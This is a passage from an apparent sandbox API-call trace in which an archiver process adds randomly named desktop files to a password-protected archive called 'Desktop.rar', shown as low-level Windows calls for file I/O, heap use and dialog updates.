(esFlags=0x1) returned 0x80000000 [0067.213] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0067.213] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.213] FindFirstFileW (in: lpFileName="gG_HZ-HV.swf", lpFindFileData=0xe414dc4e0 | out: lpFindFileData=0xe414dc4e0) returned 0x1ec0de094d0 [0067.213] FindClose (in: hFindFile=0x1ec0de094d0 | out: hFindFile=0x1ec0de094d0) returned 1 [0067.213] CreateFileW (lpFileName="gG_HZ-HV.swf" (normalized: "c:\\users\\fd1hvy\\desktop\\gg_hz-hv.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0067.213] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764f630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0067.213] GetTickCount () returned 0x26b24 [0067.213] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414dd340, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0067.213] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0067.213] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="adding") returned 6 [0067.213] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0067.214] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="GAXF44R72SInzUMj.mp3") returned 20 [0067.214] SetWindowTextW (hWnd=0x1028c, lpString="gG_HZ-HV.swf") returned 1 [0067.214] GetTickCount () returned 0x26b33 [0067.214] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0067.214] CryptAcquireContextW (in: phProv=0xe414dd6d0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xe414dd6d0*=0x1ec0a653e60) returned 1 [0067.215] CryptGenRandom (in: hProv=0x1ec0a653e60, dwLen=0x10, pbBuffer=0xe414dd750 | out: pbBuffer=0xe414dd750) returned 1 [0067.215] CryptReleaseContext (hProv=0x1ec0a653e60, dwFlags=0x0) returned 1 [0067.215] GetSystemTime (in: lpSystemTime=0xe414dd668 | out: lpSystemTime=0xe414dd668*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x2c, wMilliseconds=0x2c6)) [0067.215] SystemTimeToFileTime (in: lpSystemTime=0xe414dd668, lpFileTime=0xe414dd660 | out: lpFileTime=0xe414dd660) returned 1 [0067.215] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd690 | out: lpPerformanceCount=0xe414dd690*=15854326252) returned 1 [0067.215] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d905040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d905040*, lpNumberOfBytesRead=0xe414dd770*=0x44d4, lpOverlapped=0x0) returned 1 [0067.215] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d909514, nNumberOfBytesToRead=0xfbb2c, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d909514*, lpNumberOfBytesRead=0xe414dd770*=0x0, lpOverlapped=0x0) returned 1 [0067.215] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefd90 [0067.215] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefbb0 [0067.215] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefbb0, Size=0x48) returned 0x1ec0a6577d0 [0067.215] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c740 [0067.215] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefca0 [0067.215] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefca0, Size=0x48) returned 0x1ec0a6569c0 [0067.215] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c740 | out: hHeap=0x1ec0a590000) returned 1 [0067.215] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6577d0 | out: hHeap=0x1ec0a590000) returned 1 [0067.215] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef880 [0067.215] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef670 [0067.215] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef670 | out: hHeap=0x1ec0a590000) returned 1 [0067.215] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef880 | out: hHeap=0x1ec0a590000) returned 1 [0067.215] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefd90, Size=0x48) returned 0x1ec0a656a60 [0067.215] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a656a60, Size=0x7a) returned 0x1ec0a64a7c0 [0067.215] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6569c0 | out: hHeap=0x1ec0a590000) returned 1 [0067.215] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64a7c0 | out: hHeap=0x1ec0a590000) returned 1 [0067.218] GetTickCount () returned 0x26b33 [0067.218] GetLastError () returned 0x0 [0067.218] SetLastError (dwErrCode=0x0) [0067.218] GetDlgItem (hDlg=0x10284, nIDDlgItem=158) returned 0x10290 [0067.218] GetDlgItem (hDlg=0x10284, nIDDlgItem=153) returned 0x1028e [0067.218] GetWindowTextW (in: hWnd=0x1028e, lpString=0xe414dbd30, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0067.218] SendMessageW (hWnd=0x10290, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x64 [0067.219] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd5b0 | out: lpPerformanceCount=0xe414dd5b0*=15854720218) returned 1 [0067.219] GetTickCount () returned 0x26b33 [0067.219] GetTickCount () returned 0x26b33 [0067.219] GetTickCount () returned 0x26b33 [0067.219] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0067.219] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0067.219] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.219] ResetEvent (hEvent=0x344) returned 1 [0067.219] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.220] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0067.220] ResetEvent (hEvent=0x344) returned 1 [0067.220] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.221] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0067.221] GetTickCount () returned 0x26b33 [0067.221] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=15854954684) returned 1 [0067.221] GetTickCount () returned 0x26b33 [0067.221] GetTickCount () returned 0x26b33 [0067.221] GetTickCount () returned 0x26b33 [0067.221] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 0 [0067.221] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 0 [0067.221] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.221] ResetEvent (hEvent=0x33c) returned 1 [0067.221] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.222] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0067.222] ResetEvent (hEvent=0x33c) returned 1 [0067.222] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.222] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0067.222] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 0 [0067.222] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.222] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd460*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd460*=0) returned 0xa8da0 [0067.222] SetFilePointer (in: hFile=0x32c, lDistanceToMove=96, lpDistanceToMoveHigh=0xe414dd430*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd430*=0) returned 0xa8e00 [0067.222] CryptUnprotectMemory (in: pDataIn=0xe414dd2e0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dd2e0) returned 1 [0067.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xe414dd260, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0067.222] CryptUnprotectMemory (in: pDataIn=0xe414dccc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dccc0) returned 1 [0067.222] CryptUnprotectMemory (in: pDataIn=0xe414dcdc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dcdc0) returned 1 [0067.222] CryptUnprotectMemory (in: pDataIn=0xe414dcf40, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xe414dcf40) returned 1 [0067.222] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0bfefdd0*, nNumberOfBytesToWrite=0x4540, lpNumberOfBytesWritten=0xe414dd460, lpOverlapped=0x0 | out: lpBuffer=0x1ec0bfefdd0*, lpNumberOfBytesWritten=0xe414dd460*=0x4540, lpOverlapped=0x0) returned 1 [0067.223] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 0 [0067.223] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.223] SetFilePointer (in: hFile=0x32c, lDistanceToMove=691616, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0xa8da0 [0067.223] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414d9b00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414d9b00*=0) returned 0xa8da0 [0067.223] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefb80 [0067.223] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefd30 [0067.223] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefd30, Size=0x48) returned 0x1ec0a656f10 [0067.223] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c980 [0067.223] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefbb0 [0067.223] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefbb0, Size=0x48) returned 0x1ec0a6573c0 [0067.223] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c980 | out: hHeap=0x1ec0a590000) returned 1 [0067.223] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656f10 | out: hHeap=0x1ec0a590000) returned 1 [0067.223] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefb50 [0067.223] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefca0 [0067.223] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefca0 | out: hHeap=0x1ec0a590000) returned 1 [0067.223] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefb50 | out: hHeap=0x1ec0a590000) returned 1 [0067.223] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefb80, Size=0x48) returned 0x1ec0a656b50 [0067.223] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a656b50, Size=0x7a) returned 0x1ec0a64a190 [0067.223] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0a64a193*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0xe414d8140, lpOverlapped=0x0 | out: lpBuffer=0x1ec0a64a193*, lpNumberOfBytesWritten=0xe414d8140*=0x60, lpOverlapped=0x0) returned 1 [0067.223] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefb50 [0067.223] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x60) returned 0x1ec0a5c4a30 [0067.223] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6573c0 | out: hHeap=0x1ec0a590000) returned 1 [0067.224] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64a190 | out: hHeap=0x1ec0a590000) returned 1 [0067.224] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0xad340 [0067.224] CloseHandle (hObject=0x350) returned 1 [0067.224] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0067.224] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.224] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0067.224] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.224] FindFirstFileW (in: lpFileName="H9Q00myyEZo.mp3", lpFindFileData=0xe414dc4e0 | out: lpFindFileData=0xe414dc4e0) returned 0x1ec0de09bf0 [0067.224] FindClose (in: hFindFile=0x1ec0de09bf0 | out: hFindFile=0x1ec0de09bf0) returned 1 [0067.224] CreateFileW (lpFileName="H9Q00myyEZo.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\h9q00myyezo.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0067.224] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764fa30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0067.224] GetTickCount () returned 0x26b33 [0067.224] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414dd340, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0067.224] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0067.224] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="adding") returned 6 [0067.224] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0067.224] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="gG_HZ-HV.swf") returned 12 [0067.224] SetWindowTextW (hWnd=0x1028c, lpString="H9Q00myyEZo.mp3") returned 1 [0067.225] GetTickCount () returned 0x26b33 [0067.225] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0067.225] CryptAcquireContextW (in: phProv=0xe414dd6d0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xe414dd6d0*=0x1ec0a653e60) returned 1 [0067.225] CryptGenRandom (in: hProv=0x1ec0a653e60, dwLen=0x10, pbBuffer=0xe414dd750 | out: pbBuffer=0xe414dd750) returned 1 [0067.225] CryptReleaseContext (hProv=0x1ec0a653e60, dwFlags=0x0) returned 1 [0067.225] GetSystemTime (in: lpSystemTime=0xe414dd668 | out: lpSystemTime=0xe414dd668*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x2c, wMilliseconds=0x2c6)) [0067.225] SystemTimeToFileTime (in: lpSystemTime=0xe414dd668, lpFileTime=0xe414dd660 | out: lpFileTime=0xe414dd660) returned 1 [0067.225] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd690 | out: lpPerformanceCount=0xe414dd690*=15855397573) returned 1 [0067.225] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d905040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d905040*, lpNumberOfBytesRead=0xe414dd770*=0xac53, lpOverlapped=0x0) returned 1 [0067.226] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d90fc93, nNumberOfBytesToRead=0xf53ad, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d90fc93*, lpNumberOfBytesRead=0xe414dd770*=0x0, lpOverlapped=0x0) returned 1 [0067.226] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0067.226] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.226] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefca0 [0067.226] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefcd0 [0067.226] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefcd0, Size=0x48) returned 0x1ec0a6577d0 [0067.226] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c740 [0067.226] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefd30 [0067.226] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefd30, Size=0x48) returned 0x1ec0a657460 [0067.226] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c740 | out: hHeap=0x1ec0a590000) returned 1 [0067.226] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6577d0 | out: hHeap=0x1ec0a590000) returned 1 [0067.226] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefbb0 [0067.226] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef880 [0067.226] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef880 | out: hHeap=0x1ec0a590000) returned 1 [0067.226] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefbb0 | out: hHeap=0x1ec0a590000) returned 1 [0067.226] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefca0, Size=0x48) returned 0x1ec0a656b50 [0067.226] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a656b50, Size=0x7a) returned 0x1ec0a649f50 [0067.226] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a657460 | out: hHeap=0x1ec0a590000) returned 1 [0067.226] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a649f50 | out: hHeap=0x1ec0a590000) returned 1 [0067.226] GetTickCount () returned 0x26b33 [0067.226] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd5b0 | out: lpPerformanceCount=0xe414dd5b0*=15855509479) returned 1 [0067.227] GetTickCount () returned 0x26b33 [0067.227] GetTickCount () returned 0x26b33 [0067.227] GetTickCount () returned 0x26b33 [0067.227] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0067.227] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0067.227] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.227] ResetEvent (hEvent=0x344) returned 1 [0067.227] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.293] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0067.294] ResetEvent (hEvent=0x344) returned 1 [0067.294] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.295] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0067.295] GetTickCount () returned 0x26b81 [0067.295] GetLastError () returned 0x0 [0067.295] SetLastError (dwErrCode=0x0) [0067.295] GetDlgItem (hDlg=0x10284, nIDDlgItem=158) returned 0x10290 [0067.295] GetDlgItem (hDlg=0x10284, nIDDlgItem=153) returned 0x1028e [0067.295] GetWindowTextW (in: hWnd=0x1028e, lpString=0xe414dbd00, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0067.295] SendMessageW (hWnd=0x10290, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x64 [0067.296] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=15862475073) returned 1 [0067.296] GetTickCount () returned 0x26b81 [0067.296] GetLastError () returned 0x0 [0067.296] SetLastError (dwErrCode=0x0) [0067.296] GetDlgItem (hDlg=0x10284, nIDDlgItem=154) returned 0x10296 [0067.296] GetWindowTextW (in: hWnd=0x10296, lpString=0xe414dc160, nMaxCount=2560 | out: lpString="00:00:00") returned 8 [0067.296] SetWindowTextW (hWnd=0x10296, lpString="00:00:01") returned 1 [0067.297] GetTickCount () returned 0x26b81 [0067.297] GetDlgItem (hDlg=0x10284, nIDDlgItem=162) returned 0x10298 [0067.297] ShowWindow (hWnd=0x10298, nCmdShow=0) returned 0 [0067.297] GetDlgItem (hDlg=0x10284, nIDDlgItem=151) returned 0x1029a [0067.297] ShowWindow (hWnd=0x1029a, nCmdShow=0) returned 0 [0067.297] GetDlgItem (hDlg=0x10284, nIDDlgItem=151) returned 0x1029a [0067.297] GetWindowTextW (in: hWnd=0x1029a, lpString=0xe414dc160, nMaxCount=2560 | out: lpString="") returned 0 [0067.297] GetTickCount () returned 0x26b81 [0067.297] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 1 [0067.297] GetMessageW (in: lpMsg=0xe414dd5e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd5e0) returned 1 [0067.297] GetFocus () returned 0x102a8 [0067.297] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd5e0) returned 1 [0067.297] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 1 [0067.297] GetMessageW (in: lpMsg=0xe414dd5e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd5e0) returned 1 [0067.297] GetFocus () returned 0x102a8 [0067.297] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd5e0) returned 1 [0067.297] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.297] ResetEvent (hEvent=0x33c) returned 1 [0067.298] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.298] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0067.298] ResetEvent (hEvent=0x33c) returned 1 [0067.298] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.299] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0067.299] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 1 [0067.299] GetMessageW (in: lpMsg=0xe414dd360, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd360) returned 1 [0067.299] GetFocus () returned 0x102a8 [0067.299] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd360) returned 1 [0067.300] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.300] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd460*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd460*=0) returned 0xad340 [0067.300] SetFilePointer (in: hFile=0x32c, lDistanceToMove=99, lpDistanceToMoveHigh=0xe414dd430*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd430*=0) returned 0xad3a3 [0067.300] CryptUnprotectMemory (in: pDataIn=0xe414dd2e0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dd2e0) returned 1 [0067.300] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xe414dd260, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0067.300] CryptUnprotectMemory (in: pDataIn=0xe414dccc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dccc0) returned 1 [0067.300] CryptUnprotectMemory (in: pDataIn=0xe414dcdc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dcdc0) returned 1 [0067.300] CryptUnprotectMemory (in: pDataIn=0xe414dcf40, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xe414dcf40) returned 1 [0067.300] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0bfefdd0*, nNumberOfBytesToWrite=0xacc0, lpNumberOfBytesWritten=0xe414dd460, lpOverlapped=0x0 | out: lpBuffer=0x1ec0bfefdd0*, lpNumberOfBytesWritten=0xe414dd460*=0xacc0, lpOverlapped=0x0) returned 1 [0067.301] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 1 [0067.301] GetMessageW (in: lpMsg=0xe414dd360, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd360) returned 1 [0067.301] GetFocus () returned 0x102a8 [0067.301] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd360) returned 1 [0067.301] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.301] SetFilePointer (in: hFile=0x32c, lDistanceToMove=709440, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0xad340 [0067.301] SetFilePointer (in: 